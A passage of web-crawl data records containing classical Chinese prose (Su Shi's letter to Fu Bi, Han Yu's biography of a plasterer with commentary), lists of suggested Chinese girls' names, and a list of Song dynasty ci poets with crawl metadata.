\"wuu_Hani_score\": 0.010331670753657818}","num_words":9,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.616,"perplexity_score":500.0,"cluster_detection":1} +{"text":"軾聞之。進說於人者,必其人之有間而可入,則其說易行。戰國之人貪,天下之士,因其貪而說之。危國之人懼,天下之士,因其懼而說之。是故其說易行。古之人一說而合,至有立談之間而取公相者,未嘗不始於戰國、危國。何則?有間而可入也。\n居今之世,而欲進說於明公之前,不得其間而求入焉,則亦可謂天下之至愚無知者矣。地方萬里,而制於一姓,極天下之尊,而盡天下之富,不可以有加矣。而明公為之宰。四夷不作,兵革不試,是明公無貪於得,而無懼於失也。方西戎之熾也,敵人乘間以跨吾北,中國之大不畏,而畏明公之一詞。是明公之勇,冠於天下也。明公居於山東,而傾河朔之流人,父棄其子,夫棄其妻而自歸於明公者百餘萬。明公人人而食之,旦旦而撫之。此百萬人者,出於溝壑之中,而免於烏鳶豺狼之患。生得以養其父母,而祭其祖考,死得以使其子孫葬埋祭祀,不失其故常。是明公之仁,及於百世也。勇冠於天下,而仁及於百世,士之生於世,如此亦足矣。今也處於至足之勢,則是明公無復有所羨慕於天下之功名也。五帝三代之事,百家之書,莫不盡讀。禮樂刑政之大小,兵農財賦之盛衰,四海之內,地理之遠近,山川之險易,物土之所宜,莫不盡知。當世之賢人君子,與夫奸偽險詐之徒,莫不盡究。至於曲學小數,茫昧惝恍而不可知者,皆獵其華而咀其英,泛其流而涉其源。雖自謂當世之辯,不能傲之以其所不知。則是明公無復有所畏憚於天下之博學也。\n名為天下之賢人,而貴為天子之宰,無貪於得,而無懼於失,無羨於功名,而無畏於博學,是其果無間而可入也?天下之士,果不可以進說也?軾也聞之楚左史倚相曰:「昔衛武公年九十有五,猶日箴儆於國曰:「自卿以下,至於官師,茍在朝者,無謂我老耄而舍我,朝夕以交戒我。」猶以為未也,而作詩以自戒。其詩曰:『抑抑威儀,惟德之隅』」。夫衛武公惟居於至足,而日以為不足,故其沒也,謚之曰睿聖武公。嗟夫明公,豈以其至足而無間以拒天下之士,則士之進說者亦何必其間之入哉?不然,軾將誦其所聞,而明公試觀之。\n夫天下之小人,所為奔走輻輳於大人之門而為之用者,何也?大人得其全,小人得其偏。大人得其全,故能兼受而獨制。小人得其偏,是以聚而求合於大人之門。古之聖人,惟其聚天下之偏而各收其用,以為非偏則莫肯聚也,是故不以其全而責其偏。夫惟全者之不可以多有也,故天下之偏者,惟全之求。今以其全而責其偏,夫彼若能全,將亦為我而已矣,又何求焉。昔者夫子廉潔而不為異眾之行,勇敢而不為過物之操,孝而不徇其親,忠而不犯其君。凡此者,是夫子之全也。原憲廉而至於貧,公良孺勇而至於鬥,曾子孝而徇其親,子路忠而犯其君。凡此者,是數子之偏也。夫子居其全,而收天下之偏,是以若此巍巍也。若夫明公,其亦可謂天下之全矣。廉而天下不以為介,直而天下不以為訐,剛健而不為強,敦厚而不為弱。此明公之所得之於天,而天下之所不可望於明公者也。明公居其全,天下效其偏,其誰曰不可。\n異時士大夫皆喜為卓越之行,而世亦貴狡悍之才。自明公執政,而朝廷之間,習為中道,而務循於規矩。士之矯飾力行為異者,眾必共笑之。夫卓越之行,非至行也,而有取於世。狡悍之才,非真才也,而有用於天下。此古之全人所以坐而收其功也。今天下卓越之行,狡悍之才,舉不敢至於明公之門,懼以其不純而獲罪於門下。軾之不肖,竊以為天下之未大治,兵之未振,財之未豐,天下之有望於明公而未獲者,其或由此也歟?昔范公收天下之士,不考其素。茍可用者,莫不咸在。雖其狂狷無行之徒,亦自效於下風,而范公亦躬為詭特之操以震之。夫范公之取人者,是也,其自為者,非也。伏惟明公以天下之全而自居,去其短而襲其長,以收功於無窮。\n軾也西南之匹夫,求斗升之祿而至於京師。翰林歐陽公不知其不肖,使與於制舉之末,而發其猖狂之論。是以輒進說於左右,以為明公必能容之。所進策論五十篇,貧不能盡寫,而致其半。觀其大略,幸甚。","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E4%B8%8A%E5%AF%8C%E4%B8%9E%E7%9B%B8%E6%9B%B8","date":"2019-02-21T19:53:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247508363.74\/warc\/CC-MAIN-20190221193026-20190221215026-00051.warc.gz","language":"lzh","language_score":0.4739998877,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.47399988770484924, \"cmn_Hani_score\": 0.4573700726032257, \"nan_Hani_score\": 0.04082372784614563, \"wuu_Hani_score\": 0.018893733620643616}","num_words":6,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.693,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n圬者王承福傳 韓愈\n圬同杇、之爲技、賤且勞者也。一抑。有業之、其色若自得者。聽其言、約而盡。一揚。 ○陡然立論、領起一篇精神。問之、王其姓、承福其名。世爲京兆長安農夫。天寶之亂、發人爲兵。天寶十四年、冬十一月、安祿山反、帝以郭子儀爲朔方節度使討之。出內府錢帛、于京師募兵十一萬、旬日而集、皆市井子弟也。持弓矢十三年、有官勳、棄之來歸、喪其土田、手鏝滿平聲、衣食。鏝、圬具也。 ○棄官勳而就傭工、使人不可測。餘三十年、舍於市之主人、而歸其屋食之當去聲、焉。屋食、謂屋租也。當、謂所當之值。視時屋食之貴賤、而上下其圬之傭以償之。視屋租之貴賤、而增減其圬之工價。償、還也。有餘、則以與道路之廢疾餓者焉。此段寫承福去官歸鄉手鏝衣食來由、畫出高士風味。又曰、粟、稼而生者也。若布與帛、必蠶績而後成者也。其他所以養生之具、皆待人力而後完也、吾皆賴之。然人不可徧爲、宜乎各致其能以相生也。此言彼此各致其能。故君者、理我所以生者也。而百官者、承君之化者也。任有大小、惟其所能、若器皿焉。食焉而怠其事、必有天殃、一篇主意、特爲提出。故吾不敢一日捨鏝以嬉。此言小大不怠其事。夫鏝易能、可力焉、又誠有功。取其直、同值、雖勞無愧、吾心安焉。夫力易強羌上聲、而有功也、心難強而有智也。用力者使於人、用心者使人、亦其宜也。吾特擇其易爲而無愧者取焉。此言難易自擇其宜。嘻、吾操鏝以入富貴之家有年矣、忽生感慨、無限烟波。有一至者焉、又往過之、則爲墟矣。有再至三至者焉、而往過之、則爲墟矣。問之其鄰、或曰、噫、刑戮也。或曰、身旣死而其子孫不能有也。或曰、死而歸之官也。此是王承福所自省驗得力處、故言極痛快。吾以是觀之、非所謂食焉怠其事而得天殃者邪、非強心以智而不足、不擇其才之稱去聲、否而冒之者邪、非多行可愧、知其不可而強爲之者邪、三層、就前所自見處翻案。將富貴難守、薄功而厚饗之者邪、抑豐悴有時、一去一來而不可常者邪。二層、又開一步感慨。吾之心憫焉、是故擇其力之可能者行焉。言己志。樂富貴而悲貧賤、我豈異於人哉。凡一句、束得有力。 ○此段寫所以棄官業圬之故、是絕大議論。又曰、功大者、其所以自奉也博、妻與子、皆養于我者也、吾能薄而功小、不有之可也。又吾所謂勞力者、若立吾家而力不足、則心又勞也。一身而二任焉、雖聖者不可爲也。此段寫自業自食有餘之意、是絕大見識。 ○此又曰以下、又轉一步、爲自己折衷張本。愈始聞而惑之、又從而思之、蓋賢者也。蓋所謂獨善其身者也。一揚。然吾有譏焉、謂其自爲去聲、也過多、其爲人也過少、其學楊朱之道者邪。一抑。楊之道、不肯拔我一毛而利天下。而夫人以有家爲勞心、不肯一動其心以畜其妻子、其肯勞其心以爲人乎哉。似抑而實揚之。雖然、其賢於世之患不得之而患失之者、以濟其生之欲、貪邪而亡道、以喪其身者、其亦遠矣。昌黎作傳、全在此數語上。 ○愈始聞一轉。忽贊忽譏。波瀾曲折。又其言有可以警余者、故余爲之傳、而自鑒焉。以自鑒結、意極含蓄。\n前略敍一段、後略斷數語、中間都是借他自家說話。點成無限烟波、機局絕高、而規世之意、已極切至。","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/neodu.com\/%E3%80%8A%E5%9C%AC%E8%80%85%E7%8E%8B%E6%89%BF%E7%A6%8F%E5%82%B3%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2019-03-23T05:33:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202723.74\/warc\/CC-MAIN-20190323040640-20190323062640-00373.warc.gz","language":"lzh","language_score":0.6471482515,"language_script":"Hani","minhash_cluster_size":13,"top_langs":"{\"lzh_Hani_score\": 0.6471482515335083, \"cmn_Hani_score\": 0.15817950665950775, \"nan_Hani_score\": 0.06431429833173752, \"jpn_Jpan_score\": 0.04557076841592789, \"yue_Hani_score\": 0.016915231943130493, \"wuu_Hani_score\": 0.011518944054841995, \"zxx_Latn_score\": 0.01135791465640068}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.647,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n解生燕 解莹焱 解莉焱 解莹煊 解映雪 解瑞丽 解秋燕 解宇娟 解海婧 解衡艳 解玲慧 解湘婷 解锐雪 解家美 解康美 解文颖 解莉萍 解洪霞 解庆霞 解丽丽 解淅文 解惠芳 解竹怡 解艳美 解懿琳 解小英 解婷甄 解忆文 解海秀 解子秀 解建霞 解正琴 解婷宇 解梦怡 解芙花 解西芳 解景秀 解新燕 解桂艳 解明文 解脆玲 解泽琼 解博琳 解筱玲 解紫玲 解玲子 解子玲 解霭玲 解秀妹 解桂琼 解家文 解语文 解紫妍 解淑萍 解琼雪 解丹红 解思梅 解绍梅 解喜琴 解储文 解桂萍 解志琳 解智琳 解薇婷 解秀霞 解文文 解轹文 解长琴 解丽芬 解振霞 解利艳 解允丽 解先红 解先琴 解亚丽 解国霞 解琳璇 解新梅 解晋萍 解有芬 解友芬 解夕瑶 解翊琳 解启琳 解艳丽 解云丽 解艳茹 解淑红 解燕林 解冬媛 解瑾茹 解佳文 解玲欣 解婉妍 解睿颖 解语嫣 解语妍 解琳琼 解依玲 解皓倩 解美芬 解语红 解淑琴 解崇霞 解继英 解文瑶 解伟红 解凯玲 解蓉役 解依娜 解晗文 解增霞 解茹忆 解衍娟 解艺文 解宇文 解译文 解世文 解梓文 解紫文 解仕文 解东燕 解亚红 解士文 解侍文 解妍姣 解妍丝 解妍思 解妍鸶 解赞妍 解妍姝 解伟娜 解麟怡 解晓红 解银英 解纯梅 解珈怡 解家怡 解会娟 解何倩 解西文 解倩茜 解峻英 解燕平 解燕萍 解婷采 解翼媛 解奕媛 解玉丽 解静芳 解瑛 解小花 解凤娟 解尚文 解君美 解紫冉 解楚怡 解紫怡 解迎颖 解麦霞 解永芳 解锶婵 解锶怡 解辛怡 解嘉婷 解慧玲 解馨婷 解旖媛 解晨瑶 解景芬 解立文 解芯怡 解欣琳 解心琳 解畹婷 解宛婷 解继丽 解胜文 解加娥 解朝文 解斌文 解鉴文 解御文 解愉文 解淳文 解贞莉 解泽文 解毓婷 解紫婷 解婧雪 解春茹 解玺萍 解晶瑶 解琴华 解桂英 解慧莹 解培玉 解钰洁 解娜娜 解哓霞 解嫒玲 解路燕 解怡昕 解雯玲 解淇玲 解琪莉 解淇莉 解昕玲 解莉淇 解文丽 解怡倩 解怡情 解雅丽 解德梅 解怡靖 解萍惠 解莉薇 解莉雯 解雯莉 解莉丽 解娅倩 解娅娟 解怡霎 解亦倩 解莉娟 解佳倩 解晓梅 解秋红 解绪琴 解冰雪 解朝霞 解肖玲 解江红 解翠玲 解春瑶 解婷森 解秋颖 解冉冉 解勐瑶 解孟瑶 解翠艳 解光美 解翠英 解秋洁 解娜琳 解铂玉 解铂琳 解风玲 解翠娟 解素茹 解广丽 解广萍 解仕媛 解婵 解凤英 解福英 解锦怡 解鸿艳 解薨燕 解闳燕 解蕻燕 解讧燕 解訇燕 解黉燕 解哄燕 解烘燕 解轰燕 解虹燕 解荭燕 解泓燕 解弘燕 解洪燕 解雯茹 解方文 解红文 解明艳 解译萍 解译婷 解燕菲 解传芬 解佳艳 解婷淇 解婷语 解运英 解菲琳 解欣颖 解自芳 解燕锋 解钧茹 解振红 解祯红 解晓雪 解绚婷 解景媛 解怡然 解小艳 解滨娜 解悦辰 解璐嫣 解璐瑶","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/a681.cn\/show_1E4.aspx","date":"2019-05-23T08:47:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257197.14\/warc\/CC-MAIN-20190523083722-20190523105722-00517.warc.gz","language":"lzh","language_score":0.4135685563,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.41356855630874634, \"yue_Hani_score\": 0.27622127532958984, \"jpn_Jpan_score\": 0.24975940585136414, \"cmn_Hani_score\": 0.038128700107336044}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.41,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n宗燕雨 宗燕婷 宗哓琳 宗筱琳 宗玉倩 宗佩倩 宗在琴 宗梦冉 宗在娟 宗月文 宗芙蓉 宗金花 宗思娅 宗丝娅 宗文红 宗迪娜 宗怡婷 宗世洁 宗晓裴 宗素娟 宗夕悦 宗湘萍 宗碧蓉 宗玲毓 宗心玲 宗宝玲 宗昀玲 宗小冉 宗玲燕 宗毓茹 宗迎霞 宗倩如 宗秀娟 宗海玉 宗秋妍 宗剑霞 宗芮莹 宗晶文 宗爱英 宗燕红 宗晓琴 宗昕妍 宗淑琴 宗樊悦 宗佳玉 宗婧曼 宗思琴 宗瑞玉 宗桂玲 宗怡晨 宗雪茹 宗茹雪 宗玉莹 宗妤嫣 宗雅倩 宗婉茹 宗钰颖 宗钰媛 宗钰婷 宗照婷 宗学婷 宗西玲 宗愫玲 宗素玲 宗妤琼 宗雅丽 宗春瑛 宗志芳 宗筱婧 宗瑞雪 宗琳珏 宗军玲 宗琳心 宗琳钰 宗琳鑫 宗梵玉 宗鑫琳 宗继萍 宗玲瑜 宗媛莉 宗馨怡 宗馨秀 宗昕秀 宗定英 宗妍眉 宗秀红 宗顺娥 宗梦媛 宗建芬 宗陈秀 宗鲁秀 宗冰婧 宗芊雪 宗欣秀 宗金文 宗瑜琴 宗秋怡 宗笕茹 宗茹萍 宗茹平 宗蕊莹 宗国玉 宗晓娟 宗睿颖 宗奉文 宗恩丽 宗李燕 宗淑萍 宗秋琴 宗立英 宗慕琳 宗雪婷 宗凡怡 宗子倩 宗真美 宗姿美 宗笑妍 宗冰倩 宗倩涵 宗鑫洁 宗欣丽 宗亿倩 宗秀婷 宗莹媚 宗银梅 宗银妹 宗银美 宗英美 宗小丽 宗莹玫 宗莹梅 宗行妹 宗德萍 宗小雪 宗弋倩 宗向英 宗莉洁 宗仁燕 宗爱文 宗吴萍 宗智莉 宗翠萍 宗景娟 宗玲艳 宗奕冉 宗燕清 宗湘怡 宗美芳 宗维玲 宗培英 宗廷文 宗庭文 宗海艳 宗灵美 宗纪瑶 宗良娟 宗莉江 宗莉镓 宗桃花 宗莉秀 宗莉岷 宗纪雪 宗纪媛 宗婉婷 宗煊玉 宗兴怡 宗昕怡 宗恒玉 宗珂冉 宗欣怡 宗美美 宗佳蓉 宗慧莹 宗开娟 宗芬 宗子瑶 宗思莹 宗莉娉 宗洛瑶 宗继琼 宗小琴 宗沈芳 宗雅娜 宗亚娜 宗青芳 宗旭琴 宗秀琴 宗雪琴 宗琳琳 宗林琳 宗佳琳 宗琳筱 宗琳烁 宗琳皙 宗贝琳 宗婧琳 宗晶琳 宗琳然 宗思瑶 宗缃雪 宗嫣伟 宗伟燕 宗伟英 宗丽瑛 宗艳瑛 宗瑛玮 宗玮瑛 宗婧汶 宗雪婧 宗嫣力 宗婧婧 宗姬瑛 宗嫣嫣 宗伟瑛 宗妍瑛 宗学芬 宗俊梅 宗莉加 宗晓妹 宗绪芳 宗楚玉 宗乐妍 宗娜娜 宗显娜 宗涵嫣 宗涵妍 宗怡希 宗漫玉 宗曼玉 宗时玉 宗玉嫣 宗人嫣 宗小玉 宗宵倩 宗笑倩 宗怡心 宗伊怡 宗怡伊 宗怡奕 宗怡仁 宗茹雅 宗亚茹 宗雅茹 宗时嫣 宗雨嫣 宗宇嫣 宗芳洁 宗子英 宗平霞 宗世英 宗世芬 宗玉茹 宗利梅 宗开红 宗永芬 宗冬英 宗妍辰 宗莹原 宗莹如 宗玉娥 宗晓玉 宗洳倩 宗世玉 宗艺洁 宗世芳 宗秀茹 宗蓓莹 宗莹芸 宗莉芸 宗莉侦 宗莉娅 宗莉卿 宗莉婉 宗莉巾 宗欣玉 宗丽洁 宗希秀 宗韵蓉 宗韵婷 宗韵妍 宗颖琳 宗慧娟 宗韵琳 宗雅琳 宗韵怡 宗颖妍 宗颖红 宗颖蓉 宗颖婷 宗婧蓉 宗婧坤 宗婧雯 宗莉雯 宗婧琨 宗婷 宗雅婷 宗雅莉 宗雅萍 宗雅玲 宗雅蓉","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/qmqm.net\/a\/show_4E4.aspx","date":"2019-06-20T14:15:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999218.7\/warc\/CC-MAIN-20190620125520-20190620151520-00242.warc.gz","language":"lzh","language_score":0.9701607227,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.970160722732544, \"jpn_Jpan_score\": 0.013245686888694763, \"cmn_Hani_score\": 0.013069969601929188}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":1} +{"text":"當前位置:首頁 > 詩詞文集 - 全宋詞TXT全集下載\n《全宋詞》全文TXT電子書下載\n全宋詞,宋朝詞人目錄:\n潘閬 范仲淹 柳永 張先 晏殊 歐陽修 杜安世 張伯端 韓維 王安石 韋驤 晏幾道 張舜民 蘇軾 李之儀 舒亶 黃庭堅 晁端禮 鄭僅 李元膺 劉弇 秦觀 米芾 李甲 趙令 賀鑄 晁補之 陳師道 張耒 周邦彥 陳瓘 阮閱 謝逸 晁沖之 蘇庠 毛滂 謝薖 沈蔚 葛勝仲 米友仁 曾紆 吳則禮 趙子發 徐俯 王安中 張繼先 葉夢得 李光 劉一止 汪藻 曹組 王庭 陳克 朱敦儒 周紫芝 趙佶 李綱 李祁 張綱 李清照 呂本中 趙鼎 向子諲 沈與求 洪皓 蔡伸 王灼 李彌遜 王以寧 陳與義 張元干 鄧肅 呂渭老 王之道 董穎 朱翌 歐陽澈 楊無咎 曹勛 劉子翬 胡銓 史浩 仲并 高登 李石 康與之 曾覿 黃公度 倪稱 王之望 葛立方 曾協 毛幵 洪適 韓元吉 朱淑真 張掄 趙彥端 王千秋 李呂 李流謙 袁去華 朱雍 程大昌 曹冠 姚述堯 管鑒 陸游 姜特立 周必大 范成大 趙磻老 王質 沈瀛 楊萬里 李洪 沈端節 張孝祥 李處全 丘崈 呂勝己 趙長卿 廖行之 京鏜 王炎 楊冠卿 辛棄疾 趙善括 程垓 陳三聘 石孝友 韓玉 游九言 趙師俠 陳亮 楊炎正 張鎡 劉過 盧炳 姜夔 汪莘 郭應祥 韓淲 汪卓 程必 徐鹿卿 史達祖 高觀國 魏了翁 盧祖皋 劉學箕 洪咨夔 方千里 吳泳 黃機 張輯 葛長庚 劉克莊 馮取洽 趙以夫 張榘 吳淵 李好古 劉子寰 夏元鼎 吳潛 李曾伯 趙崇 方岳 趙孟堅 許棐 李公昴 吳文英 李彭老 李萊老 衛宗武 柴望 家鉉翁 陳著 趙與{钅卸} 王義山 陳人杰 陳允平 牟巘 何夢桂 譚宣子 劉辰翁 周密 王奕 蒲壽 汪夢斗 劉塤 汪元量 王沂孫 黃公紹 趙必{王象} 黎廷瑞 仇遠 蔣捷 陳德武 張炎 劉將孫 陳深 劉山老 凈端 李廌 孔夷 孔榘 鄒浩 李坦然 趙企 汪存 夏倪 祖可 張閣 劉燾 范致虛 鄭少微 李新 歐陽辟 司馬槱 王重 王采 周純 曹希蘊 廖剛 趙鼎臣 韓嘉彥 唐庚 惠洪 蘇過 陸蘊 謝克家 秦湛 范周 李德載 趙士暕 江衍 周銖 王賞 張生 江緯 美奴 張擴 趙子崧 鑒堂 梅窗 歐陽珣 萬俟詠 田為 徐伸 江漢 田中行 趙溫之 王庭珪 薛式 朱敦復 孫覿 慕容卿妻 莫將 邵博 侯彭老 胡舜陟 呂直夫 楊景 范智聞 蔣元龍 周格非 程鄰 何籀 廖世美 李元卓 張方仲 查荎 李敦詩 康仲伯 程過 曾慥 畢良史 沈晦 郭章 胡世將 蔣璨 李邴 楊適 莫蒙 李璆 韓駒 顏博文 陳東 姚孝寧 胡松年 李持正 王道亭 江致和 韓璜 李邦獻 宋齊愈 宋江 袁綯 連仲宣 幼卿 蔣氏女 蔡楠 李久善 寶月 蘇仲及 趙耆孫 費時舉 劉均國 權無染 南山居士 郭仲宣 邵叔齊 李子正 房舜卿 石耆翁 杜安道 史遠道 郭仲循 范夢龍 薜幾圣 馬咸 何桌 鄭剛中 韓世忠 黃大輿 陳襲善 曾乾曜 孫惔 如晦 孫艤 潘汾 李重元 李玉 吳淑姬 柳富 李生 譚意哥 李氏 花仲胤 劉浚 施酒監 樂婉 虞某 巴談 楊師純 楊端臣 聶勝瓊 趙才卿 任昉 都下口口 劉彤 僧兒 胡仔 王昂 謝明遠 張燾 林季仲 潘良貴 董德元 馮時行 朱松 陳康伯 曾惇 張表臣 吳憶 劉袤 李鼐 胡寅 吳舜選 趙桓 何大圭 俞處俊 岳飛 邵緝 吳芾 孫道絢 何蓑衣道人 陸凝之 趙構 聞人武子 關注 黃童 魏杞 王識 許庭 邵某 王十朋 程先 朱耆壽 石安民 劉鎮 鄭庶 黃宰 和峴 王禹偁 蘇易簡 寇準 錢惟演 陳堯佐 丁謂 林逋 楊億 陳亞 夏竦 聶冠卿 李遵勖 沈邈 滕宗諒 張昪 王益 石延年 關詠 劉潛 李冠 謝絳 宋祁 賈昌朝 尹洙 梅堯臣 葉清臣 吳感 榮諲 王琪 陳鳳儀 蘇舜欽 解昉 韓琦 沈唐 趙拚 劉幾 元絳 陳樸 盧氏 劉述 趙禎 蔡襄 韓絳 李師中 蔡挺 王益柔 曾鞏 司馬光 蘇氏 劉敞 王珪 韓縝 裴湘 阮逸女 滕甫 吳師孟 俞紫芝 鄭獬 強至 蒲宗孟 陳汝羲 汪輔之 范純仁 張才翁 壽涯禪師 章楶 徐積 沈括 方資 王安國 孫洙 李清臣 圓禪師 則禪師 陳偕 王觀 王安禮 曾布 魏夫人 王仲甫 孫浩然 王詵 陳濟翁 趙軏 郭詎 許將 鄭無黨 陳慥 蘇轍 陳睦 馬成 李嬰 王齊愈 王齊叟 舒氏 琴操 范祖禹 孫平仲 了元 太尉夫人 郭祥正 丁仙現 劉涇 黃裳 王雱 張景修 黃大臨 黃叔達 盼盼 曾肇 蔡京 蘇瓊 呂南公 趙頊\n喻陟 朱服 丁注 時彥 廖正一 啞女 米葦 趙仲御 仲殊 張來 侯蒙 陳從古 姚寬 劉珙 黃格 湯思退 張仲宇 洪邁 趙縮手 張風子 洪惠英 何作善 劉之翰 太學諸生 晁公武 林仰 邵伯雍 黃中輔 鄭聞 劉望之 法常 陸淞 卓世清 李結 向滈 葛郯 甄龍友 范端臣 韋能謙 耿時舉 吳儆 唐婉 王嵎 賈逸祖 蜀口口 游次公 尤袤 趙眘 謝懋 某教授 陳居仁 李漳 李泳 李洤 李浙 朱熹 黃銖 高宣教 嚴蕊 晦庵 徐逸 郭世模 黃談 張式 閻蒼舒 崔敦禮 陳造 黃定 王自中 韓仙姑 周頡 王彭年 李伯虎 朱顏 唐致政 樓鍔 林外 梁安世 黃巖叟 富{扌肅} 邵懷英 羅愿 樓鑰 張良臣 舒邦佐 張孝忠 方有開 許及之 傅大詢 劉德秀 吳鎰 林淳 張震 張頠 崔敦詩 趙汝愚 趙善扛 虞儔 徐似道 徐安國 黃人杰 蔡戡 何澹 熊良翰 熊可量 熊上達 蘇十能 朱景文 歐陽光祖 羅椿 劉光祖 何師心 趙蕃 何令修 馬子嚴 李諶 俞灝 連久道 趙師{睪廾} 宋先生 葉適 王楙 劉褒 章良能 熊以寧 李寅仲 蔡幼學 曹彥約 張潞 崔與之 吳琚 劉翰 杜旟 劉仙倫 張祥 張履信 趙昂 徐必 李壁 李廷忠 胡惠齊 謝直 高似孫 易祓 章斯才 危稹 王居安 王克勤 鐘將之 吳禮之 丁黼 俞國寶 徐沖淵 李好義 程準 高翥 高惟月 彭叔夏 虞剛簡 張拭 趙希明 鄭域 王澡 趙希{亻丙} 戴復古 李子酉 徐夢龍 趙擴 方信孺 龔大明 陳楠 鄒應龍 鄒應博 葉秀發 李劉 鄭清之 李仲虺 黃筍 陳耆卿 林表民 薛師石 李從周 孫居敬 鄭夢協 真德秀 留元剛 熊節 范炎 汪相如 張敬齊 徐照 可旻 凈圓 林正大 趙與洽 李致遠 鄔慮 馮熔 張侃 曾撥 曹豳 周文璞 王武子 魏子敬 韓疁 卓田 錦溪 李仲光 孫惟信 張端義 衙元卿 彭止 陳韡 李銓 王大烈 程公許 包恢 岳甫 岳珂 朱藻 陳以壯 蘇澗 許玠 王邁 葉路鈐 曾開國 彭耜 趙葵 方味道 嚴羽 嚴仁 嚴參 蘇茂一 史愚 趙灌園 葛辰庚 劉克壯 趙癯齊 程正同 陽枋 周端臣 趙福元 李億 劉頡 鄭覺齊 劉克遜 王廣文 宋自道 宋自遜 黃載 王平子 俞文豹 趙希邁 曾寓軒 吳淇 杜東 趙汝迕 樓采 雷應春 包榮父 游文仲 劉清夫 祝穆 姚鏞 尹煥 王野 哀長吉 黃師參 李義山 牟子才 戴翼 徐經孫 馮去非 熊大經 張□□ 翁定 留元崇 沈剛孫 王瀾 方君遇 平江口口 淮上女 黃孝邁 吳千能 史雋之 張友仁 王柏 周晉 曾原一 趙希囿 江萬里 蕭廷之 朱渙 周弼 黃時龍 陳云 陳東甫 黃中 鄭熏初 餘玠 趙崇嶓 樓盤 徐寶之 卓誑阝 周申 趙汝騰 趙崇霄 趙崇霄 李南金 蕭崱 蕭泰來 馬天驥 黎道靜 黃判院 薛泳 徐元杰 國學生 陸叡 史可堂 陳詵 余桂英 曾原郕 陳策 翁元龍 翁孟寅 萬俟紹之 丁宥 周氏 潘牥 趙希{青彡} 孫吳會 趙溍 劉瀾 魏庭玉 李霜涯 王諶 厲寺正 施樞 儲泳 劉子實\n翁合 王庚 黃鑄 李宏模 楊子咸 太學士人 郭子正 鄱陽護戎女 尹詞客 王氏 虞 洪茶 樓夫 章謙亨 王同祖 楊伯巖 黃應武 如愚居士 林革 曾宏正 吳景伯 鄧有功 李振祖 湯恢 李演 李敬則 吳益 利登 吳勢卿 劉浩 趙希汰 徐儼夫 陳合 李蕓子 張韞 游子西 周濟川 應次蘧 李璮 黃升 楊澤民 陳郁 馮偉壽 陳無咎 陳草閣 徐介軒 章耐軒 陳舜翁 洪子大 鄭子玉 文玨 顧卞 陳景沂 松洲 韓準 王云煥 王淮 張杜 王泳祖 劉天游 王玉 張桂 張樞 葉隆禮 石正倫 劉云甫 畢大節 龐籍 周起 楊繪 吳淑虎 吳叔虎 張伯壽 曹宰 王子容 葉景山 李商英 馬伯升 嚴抑 沈長卿 張浚 魯訔 鯛陽居士 趙士谷 李樸 溫鏜 芮燁 傅自得 侯置 芮輝 徐叔至 趙彥逾 衛時敏 高伯達 郝子直 何得之 徐明仲 陳之賢 丁求安 趙師律 趙師嚴 辛棄疾 沈伯文 李煥 林伯鎮 王渙 陳敷 甄良友 鄭元秀 周云 王孝嚴 陳曄 邵元實 卑叔文 臧魯子 談羲仲 王罙高 江袤 華岳 趙希蓬 程伯春 趙良玉 趙孟謙 方岳 朱子厚 張埴 丁無悔 楊再可 劉仲訥 蔣思恭 張成可 張時甫 李朝卿 談元范 倪翼周 段倚 賀及 傅伯達 鄭達可 臧余慶 胡于 中國章 陳曰章 李景良 張思濟 李夫人 張藻 胡文卿 楊道居 史佐堯 徐去非 賈少卿 陸漢廣 王阜民 霍安人 希叟 沈元實 游子蒙 賈逋 吳文若 去非 潘熊飛 黃庭佐 龔曰昇 陳若水 胡翼龍 劉子才 蕭漢杰 羅椅 徐霖\n朱埴 張紹文 楊纘 史鑄 林洪 吳大有 金淑柔 毛珝 張矩 吳申 姚勉 胡仲弓 施岳 薛夢桂 潘希白 文及翁 李玨 鐘過 譚方平 馬遷鸞 李仁本 謝枋得 莫起炎 徐理 吳季子 趙必岊 林自然 奚岊 趙聞禮 葉閶 杜良臣 鄭雪巖 趙汝茪 薛燧 楊韶父 史深 丁默 曾棟 江開 王某 程武 王月山 王萬之 錢{宀孫} 陳璧 趙時奚 向希尹 蕭元之 陳成之 王師錫 趙時行 郭某 王大簡 劉菊房 杜龍沙 王蒼 宋德廣 李好古 黃廷璹 陳坦之 張艾 徐某 施翠巖 續雪谷 榮樵仲 陸象澤 鞠華翁 曾曦顔 顏奎 尹濟翁 